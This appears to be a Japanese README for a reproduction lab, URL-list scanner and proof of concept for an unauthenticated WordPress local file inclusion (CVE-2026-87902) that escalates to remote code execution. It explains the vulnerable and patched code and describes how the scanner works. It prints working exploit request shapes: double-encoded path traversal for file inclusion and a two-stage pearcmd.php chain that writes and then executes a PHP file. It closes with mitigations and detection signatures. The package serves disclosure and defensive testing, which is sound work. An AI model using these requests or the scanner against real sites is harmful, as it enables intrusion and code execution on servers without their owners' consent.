再現ラボ + URLリストスキャナー + CVE-2026-87902 / GHSA-7hp8-65ch-5whp のPoC — WordPress get_page_template() の未認証LFIから条件付きRCEへ (WP 4.7.0-7.1.1、7.1.2で修正済み)。許可された/防御的なテスト。
get_page_template() 未認証LFI → 条件付きRCE再現ラボ + URLリストスキャナ + PoC。Dockerラボ上の正規のWordPress 7.1.1(脆弱) および 7.1.2(修正済み) に対して構築し、エンドツーエンドで検証済み。
include/require のファイル名制御不備(パストラバーサル → ローカルPHPインクルード)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* という名前のトップレベルディレクトリが存在すること(例: page-templates/ — Twenty Twelve、Twenty Fourteen、Neve、Hestia、Sydneyに存在)。(2) RCEのみ: 読み取り可能な と 。pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template() は、攻撃者が制御する pagename クエリ変数からテンプレート候補を構築する際、validate_file() を欠いている:
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
その後 locate_template() が file_exists($theme_dir . '/' . $candidate) を実行し、ヒットしたものを include する。
候補は page-{...}.php であるため、ペイロードは page- で始まる実在のテーマディレクトリを継続(例: page-templates/)し、その後 ../ で読み取り可能な任意の .php まで遡る必要がある。
二重エンコードが必須。 get_query_var('pagename') はPHPによって既に一度デコードされているため、単純な ../ では urldecode($pagename) === $pagename となり、脆弱な分岐がスキップされる。二重エンコードされた %252e%252e%252f は最初のデコードを %2e%2e%2f として通過し、追加の urldecode() によってのみ ../ に変換される — これがこのバグである。
lab/)Dockerホスト上で正規リリースを並置し、セキュリティ修正のみが異なる:
| サービス | URL(ループバックのみ) | WordPress | 役割 |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | 脆弱 |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | 修正済みコントロール |
db | — | MySQL 8.4 | 共有(2つのデータベース) |
ベースイメージは wordpress:php8.3-apache(既に pearcmd.php と register_argc_argv=On を同梱)、同梱のコアを正規の wordpress-7.1.1.zip / 7.1.2.zip に差し替え。Twenty Fourteenを有効化(実際の page-templates/)、さらに有効なテーマ内に page-templates/ フィクスチャも作成。公開ページID = 2(Sample Page)。
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
ポートは 127.0.0.1 のみにバインド — 脆弱なインスタンスがネットワークに露出することはない。
poc/cve-2026-87902-scan.py)Python 3、標準ライブラリのみ(pip install 不要)。URLのリストを受け取り、どれが脆弱かを報告する。デフォルトのスキャンは非破壊的: 読み取り専用のコアファイル wp-links-opml.php をインクルードし、結果として得られるOPMLドキュメントを探す — これにより任意の .php インクルードが発火したことの証明となり、書き込みも状態変化もない。
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php → readme.html → /wp-includes/ アセットの ?ver=)。/wp/v2/pages、?rest_route= フォールバック、ホームページの page-id-N、デフォルト page_id=2)— リクエストがPageに解決され get_page_template() が実行されるために必要。segment × depth(デフォルト segment templates、depths 4,3,5,6,7)について、page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> を送信し(POST、canonicalリダイレクトを回避)、<opml version="1.0"> と構造的な二次マーカー(</opml> / <outline / <dateCreated>)を含む HTTP 200 を要求する。.php を指す同一リクエストを再発行する。それでもOPMLが現れるなら、そのOPMLは環境由来(プロキシ / キャッシュ / フィードアプリ)であり、我々のインクルードではない → POSSIBLY に降格。コントロールがクリーンなヒットのみが VULNERABLE。堅牢性: サブディレクトリパスを保持(http://host/blog)、gzip/deflateおよび特殊な文字セットを処理、トランスポートエラー時にプローブを1回リトライ、ページIDを発見/検証(REST → ?rest_route= → ホームページ → デフォルト)、ターゲットごとの時間予算を強制、低信頼度のバージョンソース(アセット ?ver= / readme.html)から NOT_VULNERABLE を断定しない — これらは POSSIBLY に降格する。
| 判定 | 意味 |
|---|---|
VULNERABLE | OPMLオラクルが発火 — LFIを確認(決定的) |
NOT_VULNERABLE | 修正済みブランチのバージョン、または4.7.0–7.1.1の範囲外のバージョン |
POSSIBLY_VULNERABLE | 脆弱/不明なバージョンだがオラクルが沈黙(page-* テーマディレクトリなし、非標準レイアウト、または発見可能なページIDなしの可能性)— 手動で検証 |
NOT_WORDPRESS / ERROR | WP指標なし / トランスポート障害 |
終了コード: VULNERABLEが1つでもあれば 2、POSSIBLYが1つでもあり(かつVULNERABLEなし)なら 1、それ以外は 0。
有用なフラグ: --segments、--depths、--method {POST,GET,both}、--page-id、--max-pageids、--max-time(ターゲットごとの予算)、--timeout、--threads、--proxy、--header、--insecure(TLSオフ — 開発専用)、--json、--jsonl。WordPressをサブディレクトリにインストールしている場合は完全なベースを渡す(例: https://host/blog)。Bedrock/コアが wp/ にある場合は、スイープは wp/ プレフィックス付きのオラクルターゲットも試行する。
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
PEAR pearcmd.php チェーンを実行: + で分割されたクエリ文字列が config-create argvを運び、/tmp 配下にクォート不要のマーカー .php を書き込む。2番目のリクエストがそれをインクルードする。実行されたマーカー + php_uname() + uidを出力。ターゲット上にファイルを書き込む → 単一ターゲット、--i-have-authorization が必要、デフォルトではオフ。
evidence/)| ファイル | 証明内容 |
|---|---|
manual-validate.sh / ev-lfi.log | OPMLオラクルが7.1.1で発火(depth 4、POST および GET)、7.1.2では沈黙。depth 4のみ機能。単一エンコードは失敗 |
rce-validate.sh / ev-rce.log | 7.1.1で完全なPEAR RCE(uid=33、www-data、depth 7)。修正済みはファイルを書き込まず、何も実行しない |
ev-scan-table.log / ev-scan-results.json | {vuln, patched, non-WP, dead} に対するスキャナ: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
証明されたリクエスト形状:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off を設定し、pearcmd.php を削除/拒否する。これによりLFIに到達可能であってもRCEエスカレーションを排除できる。.. を含む pagename をブロックする。サイトルートまたは /index.php において page_id と templates%252f で始まる / %252e%252e を含む pagename の共起は、ほぼ確実なエクスプロイトシグナルである。許可されたセキュリティテスト、教育、および防御的研究のみ。